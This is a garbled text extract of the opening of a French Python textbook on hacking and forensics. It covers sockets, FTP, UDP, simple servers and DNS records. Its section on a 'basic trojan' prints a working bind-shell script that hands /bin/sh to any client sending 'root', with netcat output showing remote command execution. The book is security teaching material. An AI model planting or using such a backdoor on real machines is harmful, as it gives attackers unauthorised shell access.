Вы находитесь на странице: 1из 245

HackingetForensic

Dveloppez vos propres outils en Python

FranckEBEL

Rsum
Ce livre s'adresse aux professionnels de la scurit informatique, du Forensic mais aussi aux personnes dsireuses de se former la
conception d'outils en Python. Il a pour objectif de conduire le lecteur une bonne comprhension de bibliothques spcifiques Python pour qu'il
puisse ensuite concevoir ses outils personnaliss, adapts des situations particulires en Hacking et Forensic. Pour en tirer le meilleur profit
possible, il est ncessaire d'avoir des notions de scurit informatique et une bonne connaissance de la programmation Python.
Le livre est dcompos en 6 chapitres, chacun est illustr par de nombreux exemples avec, en fin de chapitre, des exercices avec correction
afin de donner au lecteur le moyen de s'auto-valuer.
Le chapitre 1 est consacr la programmation rseau. L'auteur dtaille la programmation de sockets puis les diffrents services tels que HTTP,
FTP, POP, SSL par exemple, ainsi que les expressions rgulires, l'accs aux bases de donnes. Le chapitre 2 est consacr la bibliothque
scapy trs utile en hacking et Forensic ; l'auteur dtaille la manipulation de trames, le tunneling, les diffrents types de scan rseau et aborde
galement IPv6. Dans le chapitre 3, des connaissances de bases sur les notions d'architecture PC et d'assembleur, sur l'utilisation de debugger,
sont indispensables pour la comprhension de la bibliothque PyDbg qui est utilise. Le chapitre 4 est ddi au Fuzzing ; dans une premire
partie l'auteur utilise des bibliothques dj vues dans les chapitres prcdents puis, dans une deuxime partie, il tudie une bibliothque
particulire, Sulley, spcialise dans le fuzzing. Le chapitre 5 passe en revue la bibliothque PIL qui va permettre de grer les images, de les
modifier, de capturer des images de webcam pour en extraire des donnes, l'auteur tudiera un lment particulier de la scurit web, les
capchat. Enfin, le dernier chapitre est entirement consacr au Forensic ; l'auteur fera une revue, non exhaustive, des diffrentes techniques, et
parcourra la stganographie, la cryptographie, les traques de mails.
L'auteur a voulu faire de ce livre un regroupement non exhaustif des bibliothques utiles, expliques et illustres par des exemples concrets afin
que le lecteur puisse s'en approprier le fonctionnement.

Les chapitres du livre :


Avant-propos Le rseau Rseau : la bibliothque Scapy Dbogage sous Windows Le Fuzzing Traitement dimages Forensic
Bibliographie

L'auteur
Franck EBEL est enseignant l'universit de Valenciennes, commandant de gendarmerie rserviste, directeur technique de la socit
anconseils et spcialiste de la lutte anti-cybercriminalit, il est expert en failles applicatives. Il a cr la licence professionnelle "ethical
hacking" (appele CDAISI), la seule en France en scurit dite offensive. Certifi CEH, OSCP et Wifu, il forme les ntech de la gendarmerie de
la rgion Nord-Pas de Calais et le CI-CERT de Cte d'Ivoire. La scurit informatique est une passion qu'il partage trs largement lors de
confrences ou travers les pages de ce livre pour donner ses auditeurs et lecteurs un maximum d'informations pour matriser ce vaste
sujet. Il est galement co-auteur du livre "Scurit informatique - Ethical Hacking" paru aux Editions ENI.

Ce livre numrique a t conu et est diffus dans le respect des droits dauteur. Toutes les marques cites ont t dposes par leur diteur respectif. La loi du 11 Mars
1957 nautorisant aux termes des alinas 2 et 3 de larticle 41, dune part, que les copies ou reproductions strictement rserves lusage priv du copiste et non destines
une utilisation collective, et, dautre part, que les analyses et les courtes citations dans un but dexemple et dillustration, toute reprsentation ou reproduction intgrale,
ou partielle, faite sans le consentement de lauteur ou de ses ayants droit ou ayant cause, est illicite (alina 1er de larticle 40). Cette reprsentation ou reproduction, par
quelque procd que ce soit, constituerait donc une contrefaon sanctionne par les articles 425 et suivants du Code Pnal. Copyright Editions ENI
Ce livre numrique intgre plusieurs mesures de protection dont un marquage li votre identifiant visible sur les principales images.

ENI Editions - All rights reserved - chantal gournier

- 1-

Introduction
Celivresadresseauxamateursetauxprofessionnelsdelascuritinformatique,duForensicoutoutsimplement
auxpersonnesdsireusesdeseformerlaconceptiondoutilsenPython.
IlestncessairepourlapprhenderdavoirunebonneconnaissancedelaprogrammationaveclelangagePython
etdesnotionsdescuritinformatique.
Ce livre a pour objectif damener le lecteur la comprhension de bibliothques spcifiques de Python afin de
pouvoirrapidementconcevoirdesoutilsadaptsdessituationsparticuliresenHackingetForensic.Eneffet,des
annesdexpriencedanslesauditsenscuritinformatiqueetlesformationsontdmontrquetrssouventles
outils automatiques ont des limites et donnent des rsultats parfois farfelus, que ce soit en Forensic ou en
Hacking.
Noussommesdoncobligsdefabriquerdesoutilsspcifiquesuneapplicationouunsystme,carchaquecas
demandeunerflexion,uneintuitionetseullhumainpeutrellementyparvenir.
Ce livre est donc un recueil, un regroupement non exhaustif des bibliothques utiles, parfois traduites des
documentationsanglaises,testesetexpliquesavecdesexercicesafindencomprendrelefonctionnement.
Lidedecelivreestvenuedunbesoinrelexprimlorsduneformationdesntechs(technicienspourlarecherche
depreuvesinformatiques)delaGendarmerienationalefranaiseetdugroupeCICERT(CtedIvoire Computer
Emergency Response Team) de Cte dIvoire. Une sorte de manuel o les outils sont rassembls, o lon vient
piochersuivantlesbesoinspourunproblmeprcis.
Celivreestdcomposensixchapitres,dontcinqapportentlesconnaissancesncessaires,lesbibliothquesetla
mthodepourpouvoiraborderlesoutilsenForensic,quiestlobjetduchapitreForensic.
Tout au long de ces chapitres chaque partie est illustre par de nombreux exemples et, en fin de chacun, des
exercicesaveccorrectionvousdonnerontlemoyendevousautovaluer.
LechapitreLerseauestconsacrlaprogrammationrseau.Nousaborderonslaprogrammationdessockets
puislesdiffrentsservicestelsqueHTTP,FTP,POP,SSLparexemple,maisnousaborderonsaussilesexpressions
rgulires,laccsauxbasesdedonnes.
LechapitreRseau:labibliothqueScapyestconsacrunebibliothquetrsparticulire,etsurtouttrsutile
en Hacking et Forensic, qui est Scapy. Nous aborderons la manipulation de trames, le tunneling, les diffrents
typesdescanrseau.NoustoucheronsaussiduboutdesdoigtslIPv6.
Le chapitre Dbogage sous Windows est le chapitre, je pense, le plus complexe car les connaissances de base
ncessairessontplusdiverses.EneffetlesnotionsdarchitecturePC,dassembleur,lutilisationdedebuggersont
indispensableslacomprhensiondelabibliothquePyDbgquenousutiliserons.
Le chapitre Le Fuzzing comporte dans une premire partie lutilisation de bibliothques dj vues dans les
chapitresprcdentstellesquecellesncessaires pourlaprogrammationrseau,Scapy.Puis,dansunedeuxime
partie,nouspasseronsunebibliothqueparticulire,Sulley,spcialisedanslefuzzing.
LechapitreTraitementdimagespasseenrevuelabibliothquePILquivanouspermettredegrerlesimages,de
les modifier, de capturer des images depuis une webcam pour en extraire des donnes. Nous verrons aussi un
problme particulierdelascuritsurleweb,lescaptchas.
LechapitreForensicestconsacrentirementauForensic,nousyferonsunerevuenonexhaustivedediffrentes
techniques,nousparcourronslastganographie,lacryptographie,latraquedemails.
Beaucoup douvrages existent sur chacun de ces sujets individuellement, principalement en anglais, mais aucun
ouvrageneregroupeenunseullivreuncondens,enfranais,commeceluici.

ENI Editions - All rights reserved - chantal gournier

- 1-

Introduction
Un ordinateur sans connexion Internet nest plus vraiment utile de nos jours, sauf dans de rares cas. Faites
lexpriencedevousasseoirdevantvotremachineetdeledconnecterduNet:plusderecherchesurGoogleou
autre,plusdechataveclesamis,plusdeFacebook...
Toutpassedoncparuneconnexionetdoncparlessockets.
NousentrouvonscommedfinitionsurWikipdia :
Danslecontextedeslogiciels,onpeutletraduirepar connecteurrseau .
ApparudanslessystmesUNIX,unsocketestunlmentlogicielquiestaujourdhuirpandudanslaplupartdes
systmes dexploitation. Il sagit dune interface logicielle avec les services du systme dexploitation, grce
laquelleundveloppeurexploiterafacilementetdemanireuniformelesservicesdunprotocolerseau.
IlluiseraainsiparexempleaisdtablirunesessionTCP,puisderecevoiretdexpdierdesdonnesgrceelle.
Cela simplifie sa tche car cette couche logicielle, de laquelle il requiert des services en appelant des fonctions,
masque le travail ncessaire de gestion du rseau, pris en charge par le systme. Le terme socket dsigne en
pratiquechaquevariableemployedansunprogrammeafindegrerlunedessessions.
Il devient donc ncessaire de comprendre et de savoir programmer des sockets pour pouvoir accder aux
diffrentsservicestelsqueleWeb,leFTP,lesmails

ENI Editions - All rights reserved - chantal gournier

- 1-

Lessockets
1.Crationdunsocket
La bibliothque socket de Python va nous permettre daccder aux services voulus. Sil y a une bibliothque
rseauconnatreetsavoirutiliser,cestbiencelleci.
Nousverronsbiensrparlasuitedautresbibliothquesspcifiquesauxservicescitsenintroduction,maisavec
la bibliothque socket, nous pourrons tout faire. Cela demandera quand mme de connatre la norme utilise
pourlescommunicationsTCP,UDPetdesdiffrentsservices.Pourcela,nousvouslaissonslesoindallerlireles
RFCcorrespondantes.
Crationdunsocketetconnexionunsiteweb :chap1_exo1.py

import socket
print creation du socket ...
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print socket fait
print connexion a lhote distant
s.connect((www.eni.fr,80))
print connexion faite

Nousnavonspasicidegrandesdifficultsquantlacomprhensiondececode.
Labibliothquesocketestimportedsledbutduscript.
NouscronsensuitelobjetsocketenluiprcisantgrceAF_INETquenousutilisonsIPv4etenluidsignant
leprotocole(SOCK_STREAMpourTCPetSOCK_DGRAMpourUDP).
Pournousconnecterlhtedistant( connect),nousdevronsutilisercequelonappelleuntuple,unedouble
parenthse,contenantladresseIPetleport.
Il ne se passera rien lexcution de ce script puisque nous tablissons une connexion sans changer de
donnesmaisnousseronsbienconnectslhtedistant.
Pour grer les accents avec Python, nous devons ajouter, au dbut du code source : # -*coding: iso-8859-1 -*-. iso88591 peut tre remplac par un autre encodage suivant celui
utilisparlesystmedexploitation(utf8,windows1252,cp1252).Pourunsouciduniformit,lesaccents
neserontpasintgrsdanslesscripts.

2.changededonnes
Quandlaconnexionesttablie,nouspouvonsenvoyeretrecevoirdesdonnes.
Lacommunicationaveclesocketvamaintenantpouvoirsefaireassezaismentgrcedeuxfonctions,send()
etrecv().

send()=>tcp

sendto()

recv()

recvfrom()=>udp

=>udp

=>tcp

ENI Editions - All rights reserved - chantal gournier

- 1-

chap1_exo2.py

import socket
print creation du socket ...
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print socket fait
print connexion a lhote distant
s.connect((www.eni.fr,80))
print connexion faite
s.send( GET /index.html HTML/1.0\r\n\r\n)
data=s.recv(2048)
print data
s.close()

Lersultatlcrandecescriptnevatrequunepartiedelapagewebrapatriesurnotremachineeneffet,
nousavonsdemanddercuprerseulement2048octets.
Sinousvoulonslarcuprerentotalit,ilnousfaudrautiliserunebouclequivalirejusqucequilnyaitplus
dinformationsrcuprer.
chap1_exo3.py

#!/usr/bin/env python
import socket
print creation du socket ...
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print socket fait
print "connexion a lhote distant"
s.connect((www.eni.fr,80))
print connexion effectuee
s.send( GET /index.php HTML/1.1\r\n\r\n)
while 1:
data=s.recv(128)
print data
if data== "":
break
s.close()

Danslexemplechap1_exo3.py,nousutilisonsuneboucleinfinie(while
estvide.Sicelaestlecas,noussortonsduscriptgrceaubreak.

1)etnousvrifionssilavariabledata

Lecontenureldelapageobtenuenenousintressepaspourlinstant,vousrisquezdailleursdobtenirlapage
derreuretnonpaslapagedemande.

3.Leserreurs
Lescriptprcdentnefonctionneraquesiaucuneerreurnatgnreparluneoulautredescommandes.
Pourquenotrescriptsoitoptimaletpuissegrerleserreurs,ilvanousfalloirtesterchaquecommandeavecle
coupletryetexcept.

try va nous permettre de lancer la ou les commandes qui le suivent. Si une commande choue, il passera la
mainexceptetnouspourronsdoncgrercetteerreurouexcuteruneautrecommande.
Chaquecommandeasesexceptions,nousallonsdoncvoiricilesexceptionsspcifiquesauxsockets.
Lessocketsexceptions:

- 2-

ENI Editions - All rights reserved - chantal gournier

socket.error:erreursdentres/sortiesgnralesetproblmesdecommunication.

socket.gaierror:erreurslorsdelarecherchedinformationssurlesadresses.

socket.herror:lesautreserreursdadresses(correspondah_errorenC).

socket.timeout:pourtoutcequivientdeproblmesdedpassementdetempssettimeout()
doitavoirtappelavantdanslesocket.

chap1_exo4.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket,sys
host=sys.argv[1]
textport=sys.argv[2]
fichier=sys.argv[3]
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
except socket.error,e:
print "erreur lors de la creation du socket : %s" %e
sys.exit(1)
try:
port=int(textport)
except ValueError:
try:
port=socket.getservbyname(host,tcp)
except socket.error,e:
print "ne trouve pas le port %s" %e
sys.exit(1)
try:
s.connect((host,port))
except socket.gaierror, e:
print "erreur dadresse de connexion au serveur :%s" %e
sys.exit(1)
except socket.error, e:
print "erreur de connexion: %s" %e
sys.exit(1)
try:
s.sendall("GET %s HTTP/1.0\r\n\r\n" % fichier)
except socket.error, e:
print "erreur denvoi des donnees : %s " %e
sys.exit(1)
while 1:
try:
buf=s.recv(2048)
except socket.error, e:
print "erreur de reception des donnees: %s" %e
sys.exit(1)
if not len(buf):
break
print buf

Danscescript,lesinformationssontattenduesenarguments,cestdirequenousallonsdevoirindiquerquel
estlesite,leportetlefichierdemandlorsdulancementduscript :

/home/fasm:$ python chap1_exo4.py www.eni.fr 80 index.html

Lepremierargument,argv[1],correspondwww.eni.fr,ledeuxime,argv[2],auportvoulu,etletroisime
aufichierdemand(quiseretrouveraderrireleGET).
Chaquetapeduscriptesttesteafindelavalideroudesortirproprementduprogramme.

ENI Editions - All rights reserved - chantal gournier

- 3-

Socket.errorpermetdevrifiersilesocketabientcr.
ValueError permet quant lui de voir si port=int(textport) sest bien droul, cestdire que la
transformation en nombre entier de la chane de caractres entre est valide, sinon cela veut dire que
lutilisateuraentrautrechosequunnombre.
Socket.gaierrornousindiquerauneerreurdadresseInternet.
Socket.errornousrenseignerasuruneerreurdeconnexionoudenvoidedonnes.
Nousavonsjusquprsenttestlabibliothqueimportsurunserviceweb.Tentonsdadapternotreprogramme
pourseconnecterunserveurFTPetdelisterparexemplelecontenudunrpertoire.

4.SocketetFTP
Pour vous familiariser avec les commandes FTP, rendezvous sur Google afin de trouver la RFC959, norme du
protocoleFTP(exemple :www.faqs.org/rfcs/rfc959.html).
LaconnexionneserapaspluscompliquetablirquepourleWeb.
UnebannireesttoutdabordenvoyeparleserveurFTP,ensuiteilnousfaudradonnernotreidentifiant(USER
nom_login\r\n)puisnotremotdepasse(PASS notre_pass\r\n).
Sicestapessontfranchies,nouspourronsalorslancerlescommandestellesqueSTOR,CWDouautre.
Pourclorelaconnexion,ilfaudralancerQUIT\r\n.
Tentonscelasurunserveuranonymeonousdevronsmettrecommeidentifiantanonymousetcommemotde
passenotreadressemail.
Aujourocelivreestcrit,lesiteftp.ibiblio.orgfonctionnepouruneconnexionanonyme.
Chap1_exo5.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket

host="ftp.ibiblio.org"
port=21
def fini():
data=s.recv(1024)
print data
if data=="":
pass
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( host,port))
fini()
s.send("USER anonymous\r\n")
fini()
s.send("PASS toto@tata.fr\r\n")
fini()
s.send("HELP\r\n")
fini()
s.send("QUIT\r\n")
s.close()

- 4-

ENI Editions - All rights reserved - chantal gournier

Rsultatduscript

fasm@moya:~/ENI_livre_python/exemples$ python chap1_exo5.py


220 ProFTPD Server
331 Anonymous login ok, send your complete email address as your
password
230Welcome to ftp.ibiblio.org, the public ftp server of
ibiblio.org. We hope you find what youre looking for.

If you have any problems or questions, please see


http://www.ibiblio.org/help/
Thanks!
230 Anonymous access granted, restrictions apply
214-The following commands are recognized (* =>s unimplemented):
CWD
XCWD
CDUP
XCUP
SMNT*
QUIT
PORT
PASV
EPRT
EPSV
ALLO*
RNFR
RNTO
DELE
MDTM
RMD

Riendebiennouveaudanscescript,justeunedfinitionquivanouspermettredetesterlafinderceptionen
regardantsilavariabledataestvideetencoupantlaclparlotsde1024octets.
NouspouvonsmaintenantnousattaquerlaconceptiondunserveurenPython.

5.UtilisationdelUDP
LeprotocoleUDP(UserDatagramProtocol)estunprotocolequisesitueaummeniveauqueTCP,cestdireau
dessusdelacoucheIP.Ilfournitunserviceenmodenonconnect(oudatagramme)auxapplications.Lentte
dundatagrammeUDPestcomposdequatrechamps:

LeportUDPsource.

LeportUDPdestination.

LalongueurdumessageUDP.

Lechecksum(sommedecontrle).

CeprotocoleestutileetindispensableaubonfonctionnementdInternet.Ilserautilis,parexemple,pourleDNS
(DomainNameSystem).
Lamthodologieestlammequeprcdemment,laseulediffrenceestlacrationdusocket(SOCK_DGRAM).
chap1_exo6.py

#!/usr/bin/env python
#--*--coding:UTF-8 --*-import socket,sys
host=sys.argv[1]
textport=sys.argv[2]
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
try:
port=int(textport)
except ValueError:
port=socket.getservbyname(textport,udp)

ENI Editions - All rights reserved - chantal gournier

- 5-

s.connect((host,port))
print "entrez les donnees a transmettre"
data=sys.stdin.readline().strip()
s.sendall(data)
print "attente de reponse, Ctrl-C pour arreter"
while 1:
buf=s.recv(2048)
if not len(buf):
break
print buf

- 6-

ENI Editions - All rights reserved - chantal gournier

Crationdunserveur
1.Introduction
Ilestncessairedepasserparquatretapespourcrerunserveur :

Crerlesocket

Donnerlesoptionsausocket(optionnel)

Lierunport

couteraprsdesconnexions

chap1_exo7.py

host=
port=1234
s=socket.socket(socket.AF_INET,SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(5)

Si nous ne tenons pas compte dans le code prcdent des deux lignes host et port, nous retrouvons nos
quatretapesdecrationduserveur,unetapeparligne.
Nousnereviendronspassurlacrationdelobjetsocketquiadjtvueprcdemment.
La ligne suivante est optionnelle et les options par dfaut conviennent pour la plupart des programmes, mais
voyonsquandmmelesdiffrentespossibilits.

s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

Lesoptions

setsockopt(level,optname,value)
level:.SOL_SOCKET:ontravailleaveclessockets.
optname:

SO_BINDTODEVICE:lesocketestvalidepourunecarterseauspcifiedansValue(nomdelacarte).

SO_BROADCAST:permetlatransmissionetrceptiondepaquetsdebroadcast.Value:boolen.

SO_DONTROUTE : interdit aux paquets de passer travers les routeurs et les passerelles. Value :
boolen.

SO_KEEPALIVE : autorise la transmission des paquets dit keepalive. Ces paquets permettent de
savoir chaque n ud que la connexion est toujours active quand aucune donne nest envoye.
Value:boolen.

SO_REUSEADDR:leportutilisestimmdiatementrutilisableaprsquelesocketestferm.Value:
boolen.

Lalignesuivantevapermettredelier(bind)ladresseIPavecleportdfini.
ENI Editions - All rights reserved - chantal gournier

- 1-

s.bind((host,port))

Nousnavonstoujourspasdeportouvertpourlinstantsurlamachine dansnotreexemple,leport1234sera
lilacarterseaudelhte( host= ).
NouspourronsdfinirpourhostladresseIPdelacartesouhaitesinousavonsplusieurscartesrseau.

host = socket.gethostbyname(socket.gethostname())

Nousavonsslectionncidessuslinterfacerseaupublique(relieauNet).
Aprslecodesuivant,leportestenfinouvertsurlamachine.

s.listen(5)

Le nombre entre parenthses reprsente le nombre maximum de connexions acceptable dans la queue de
rception.

2.Connexioncliente
Linconvnientpourlinstantestquenousnepouvonspasconnecterdeclient,ilfaudraitpourcelaqueleserveur
puisseaccepterlesventuellesdemandesdeconnexion.
Nousallonsdonccontinuernotrescriptdanscesens.
chap1_exo8.py

#!/usr/bin/env python
import socket,time
host =socket.gethostbyname(socket.gethostname())
print host
port=1234
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(1)
client,adresse=s.accept()
print adresse
print "une connexion sest effectuee depuis ",
print client.getpeername()
client.close()
s.close()

Ledbutdecescriptestidentiqueauprcdent,ladiffrencesesitueaprslelisten().
Nouscommenonsparaccepterunclientventuel.
Nousrcupronssonadresseetsonportdansadresse.

Client est le socket cr pour le client. Si partir de ce moment nous souhaitons discuter avec le client, il
- 2-

ENI Editions - All rights reserved - chantal gournier

faudraseservirdusocketclientetnonplusdusockets.
Nous rcuprons ensuite des informations du client en affichant le contenu de adresse et en utilisant
getpeername().
Etenfin,noublionspasdefermerlesocketclientpuislesocketserveur.
Voyonscequeceladonne.
Surleclient

fasm@moya:~/ENI_livre_python/exemples$ nc -vv 192.168.0.32 1234


Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
fasm@moya:~/ENI_livre_python/exemples$

Surleserveur

fasm@moya:~/ENI_livre_python/exemples$ python chap1_exo8.py


(192.168.0.34, 36620)
une connexion sest effectue depuis (192.168.0.34, 36620)
fasm@moya:~/ENI_livre_python/exemples$

Nousvoyonsquelaconnexionsestraliseavecsuccs.
Lecontenudeadresseestidentiqueauretourdelafonctionclient.getpeername().
Leport36620atouvertchezleclient,ladresseIPduclientest192.168.0.34.

3.Discussionavecleclient
chap1_exo9.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
host=
port = 1338
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
client,adresse=s.accept()
print adresse
print client.getpeername()
client.send("Bonjour Editions ENI\n entrez un mot ou fin si vous
voulez arreter la discussion ")
while 1:
data=client.recv(1024)
if data=="fin\n":
break
print "Client > " + data
mot=raw_input("Serveur > ")
client.send(mot)
client.close()
s.close()

ENI Editions - All rights reserved - chantal gournier

- 3-

Lepetitscriptprcdentreprendlesnotionsvuesjusquprsent.
partirdelabouclewhile,ladiscussioncommenceentreleserveuretleclientetnesarrteraquelorsquele
clientauraenvoylemot fin .
Onpeutremarquerpourcelaleifquinouspermetdetestersiladonnereue contient fin .Le \nestmis
ici car nous allons pour linstant utiliser netcat (utilitaire de connexion) pour tester notre programme et celuici
lenvoie.
Nousenlverons\nquandnousauronscrnotreclient.
Voicicequeceladonne :
Ductserveur

fasm@moya:~/ENI_livre_python/exemples$ python chap1_exo8.py


(127.0.0.1, 36620)
une connexion sest effectuee depuis (192.168.0.32, 36620)
fasm@moya:~/ENI_livre_python/exemples$ python chap1_exo9.py
(192.168.0.32, 52573)
(192.168.0.32, 52573)
Client > test
Serveur > nouveau test
fasm@moya:~/ENI_livre_python/exemples$

Ductclient

fasm@moya:~/ENI_livre_python/exemples$ nc -vv 192.168.0.34 1338


Connection to 192.168.0.34 1338 port [tcp/*] succeeded!
Bonjour Editions ENI
entrez un mot ou fin si vous voulez arreter la discussion
test
nouveau testfin
fasm@moya:~/ENI_livre_python/exemples$

4.Crationdun trojan basique


chap1_exo10.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket, os, code
host=
port = 1338
mot=""
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((host,port))
s.listen(1)
client,adresse=s.accept()
print adresse
print client.getpeername()
client.send("Bonjour eni\n")
mot=client.recv(1024)
print mot
while 1:
- 4-

ENI Editions - All rights reserved - chantal gournier

if mot=="root\n":
print "on est dans root"
for f in range (3):
os.dup2(client.fileno(), f)
os.execl("/bin/sh", "/bin/sh")
code.interact()
sys.exit()
else:
print "on sort"
break
client.close()
s.close()

Cescriptestbassurlescriptchap1_exo9.py,ilyajusteunemodificationdanslabouclewhile.
Sileclientenvoielemotrootauserveur,onentredansleif.
Attardonsnoussurlecodesuivant :

for f in range (3):


os.dup2(client.fileno(), f)
os.execl("/bin/sh", "/bin/sh")
code.interact()

Nousavonsuneboucleforquivadonnerlavariablefrespectivementlesvaleurs0,1et2.
Cesvaleursvonttreunparamtredelafonctiondup2.
0,1et2sontrespectivementlecanal0(clavier),lecanal1(lcran)etlecanal2(sortiederreur),sousLinux.
Donc,aprscetteboucle,toutseraredirigverslesocketclient.
Nous lanons ensuite le bash qui se retrouvera donc sur le socket et pour finir code.interact() qui va
permettreuneinteractivitentreleclientetleserveur.
Envoiduclientdunmotdiffrentderoot

fasm@moya:~/ENI_livre_python/exemples$ nc -vv 192.168.0.34 1338


Connection to 192.168.0.34 port [tcp/*] succeeded!
Bonjour eni
test
fasm@moya:~/ENI_livre_python/exemples$

Serveurlorsdelenvoiparleclientdunmotdiffrentderoot

fasm@moya:~/ENI_livre_python/exemples$ python chap1_exo10.py


(192.168.0.32, 52956)
(192.168.0.32, 52956)
test
on sort
fasm@moya:~/ENI_livre_python/exemples$

Envoiduclientdumotroot

fasm@moya:~/ENI_livre_python/exemples$ nc -vv 192 .168.0.34 1338


ENI Editions - All rights reserved - chantal gournier

- 5-

Connection to 192.168.0.32 1338 port [tcp/*] succeeded!


Bonjour eni
root
ifconfig
eth0
Link encap:Ethernet HWaddr 00:26:b9:eb:6f:68
inet adr:192.168.0.32 Bcast:195.221.189.255
Masque:255.255.255.0
adr inet6: fe80::226:b9ff:feeb:6f68/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Packets reus:541728 erreurs:0 :3244 overruns:0 frame:0
TX packets:250187 errors:0 dropped:0 overruns:0
carrier:0
collisions:0 lg file transmission:1000
Octets reus:227384482 (227.3 MB) Octets
transmis:47956554 (47.9 MB)
Interruption:20 Mmoire:e9600000-e9620000
eth1

Link encap:Ethernet HWaddr 5c:ac:4c:07:02:1c


inet adr:10.4.50.15 Bcast:10.4.50.255
Masque:255.255.255.0
adr inet6: fe80::5eac:4cff:fe07:21c/64 Scope:Lien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Packets reus:48988 erreurs:9 :0 overruns:0
frame:1828844
TX packets:5706 errors:10 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
Octets reus:10341201 (10.3 MB) Octets transmis:959829
(959.8 KB)
Interruption:17
lo

Link encap:Boucle locale


inet adr:127.0.0.1 Masque:255.0.0.0
adr inet6: ::1/128 Scope:Hte
UP LOOPBACK RUNNING MTU:16436 Metric:1
Packets reus:34762 erreurs:0 :0 overruns:0 frame:0
TX packets:34762 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:0
Octets reus:2587448 (2.5 MB) Octets transmis:2587448

(2.5 MB)

Serveurlorsdelarceptiondumotroot

fasm@moya:~/ENI_livre_python/exemples$ python chap1_exo10.py


(192.168.0.34, 53478)
(192.168.0.34, 53478)
root
on est dans root

Cepetitexemplenousdmontrequilesttrssimpledecrerun"pseudo"trojan avecPython.Nouspouvonsen
effet transmettre sur un socket ce que nous voulons, le shell sh dans notre exemple. Pour une personne non
avertie,cettedernirenesaurapasquunportestouvertsursamachineetquunpirate peutsyconnecter.En
ralitbiensr,lestrojanssontbeaucouppluscomplexes,ilssontcompilsetbeaucoupmoinsdtectables.

- 6-

ENI Editions - All rights reserved - chantal gournier

DNS :DomainNameServer
1.Introduction
LeDNSestunserveurquivanouspermettredetransformeruneadresseweb(www.eni.fr)enuneadresseIP
(90.83.78.130).
Sans ce serveur, nous serions obligs de connatre par c ur les adresses IP de tous les sites que nous
dsirerionsvisiter.

a.QuesignifieDNS?
DNSsignifieplusieurschoses:

DomainNameSystem:lensembledesorganismesquigrentlesnomsdedomaine.

DomainNameService:leprotocolequipermetdchangerdesinformationsproposdesdomaines.

DomainNameServer:unordinateursurlequelfonctionneunlogicielserveurquicomprendleprotocole
DNSetquipeutrpondredesquestionsconcernantundomaine.

Quesepassetilquandnoustaponshttp://www.eni.fr/index.html?

VotreordinateurdemandeauxserveursDNSdevotrefournisseurdaccslesadressesIPdesserveurs
DNSdudomaine"eni.fr".
VotreordinateurseconnecteunserveurDNSpourdemanderladresseIPdelamachine"www".
Votre navigateur va se connecter cette adresse IP sur le port 80 et demander la page
"index.html"(avecleprotocoleHTTP).

Ce scnario nest pas toujours vrai : la majorit des serveurs DNS et des systmes dexploitation vont faire
officedecacheetgardentenmmoirelesadresseslesplussouventdemandes.

b.PrincipauxenregistrementsDNS
Lorsquunservicegnreuntraficimportant,celuicipeutfaireappellatechnique duDNSRoundRobin(RRou
tourniquet),quiconsisteassocierplusieursadressesIPunnomdedomaine.
Le type de RR est cod sur 8 bits, lIANA conserve le registre des codes assigns. Les principaux
enregistrementsdfinissontlessuivants :

A record ou address record qui fait correspondre un nom dhte une adresse IPv4 de 32 bits
distribussurquatreoctets,ex:123.234.1.2.
AAAArecordouIPv6addressrecordquifaitcorrespondreunnomdhteuneadresseIPv6de128
bitsdistribussurseizeoctets.
CNAMErecordoucanonicalnamerecordquipermetdefairedundomaineunaliasversunautre.Cet
aliashritedetouslessousdomainesdeloriginal.
MXrecordoumailexchangerecordquidfinitlesserveursdecourrielpourcedomaine.
PTRrecord oupointer recordquiassocieuneadresseIPunenregistrementdenomdedomaine,
aussidit reverse puisquilfaitexactementlecontraireduArecord.
NSrecordounameserverrecordquidfinitlesserveursDNSdecedomaine.
SOArecord ouStart Of Authority recordquidonnelesinformationsgnralesdelazone :serveur
principal,courrieldecontact,diffrentesduresdontcelledexpiration,numrodesriedelazone.
ENI Editions - All rights reserved - chantal gournier

- 1-

SRV record qui gnralise la notion de MX record, mais qui propose aussi des fonctionnalits
avances comme le taux de rpartition de charge pour un service donn, standardis dans la RFC
2782.
NAPTR record ou Name Authority Pointer record qui donne accs des rgles de rcriture de
linformation, permettant des correspondances assez lches entre un nom de domaine et une
ressource.IlestspcifidanslaRFC3403.
TXT record permet un administrateur dinsrer un texte quelconque dans un enregistrement DNS
(par exemple, cet enregistrement tait utilis pour implmenter la spcification Sender Policy
Framework).
Dautrestypesdenregistrementssontutilissoccasionnellement,ilsserventsimplementdonnerdes
informations(parexemple,unenregistrementdetypeLOCindiquelemplacementphysiquedunhte,
cestdire sa latitude et sa longitude). Cet enregistrement aurait un intrt majeur mais nest
malheureusementquetrsrarementutilissurlemondeInternet.

Exempledecontenuavecnslookup

fasm@moya:~$ nslookup
> set type=ANY
> eni.fr
Server:
195.221.189.248
Address:
195.221.189.248#53
Non-authoritative answer:
eni.fr
nameserver = ns1.groupe-mit.com.
eni.fr
nameserver = ns2.groupe-mit.com.
Authoritative answers can be found from:
eni.fr
nameserver = ns1.groupe-mit.com.
eni.fr
nameserver = ns2.groupe-mit.com.
ns1.groupe-mit.com
internet address = 193.34.131.191
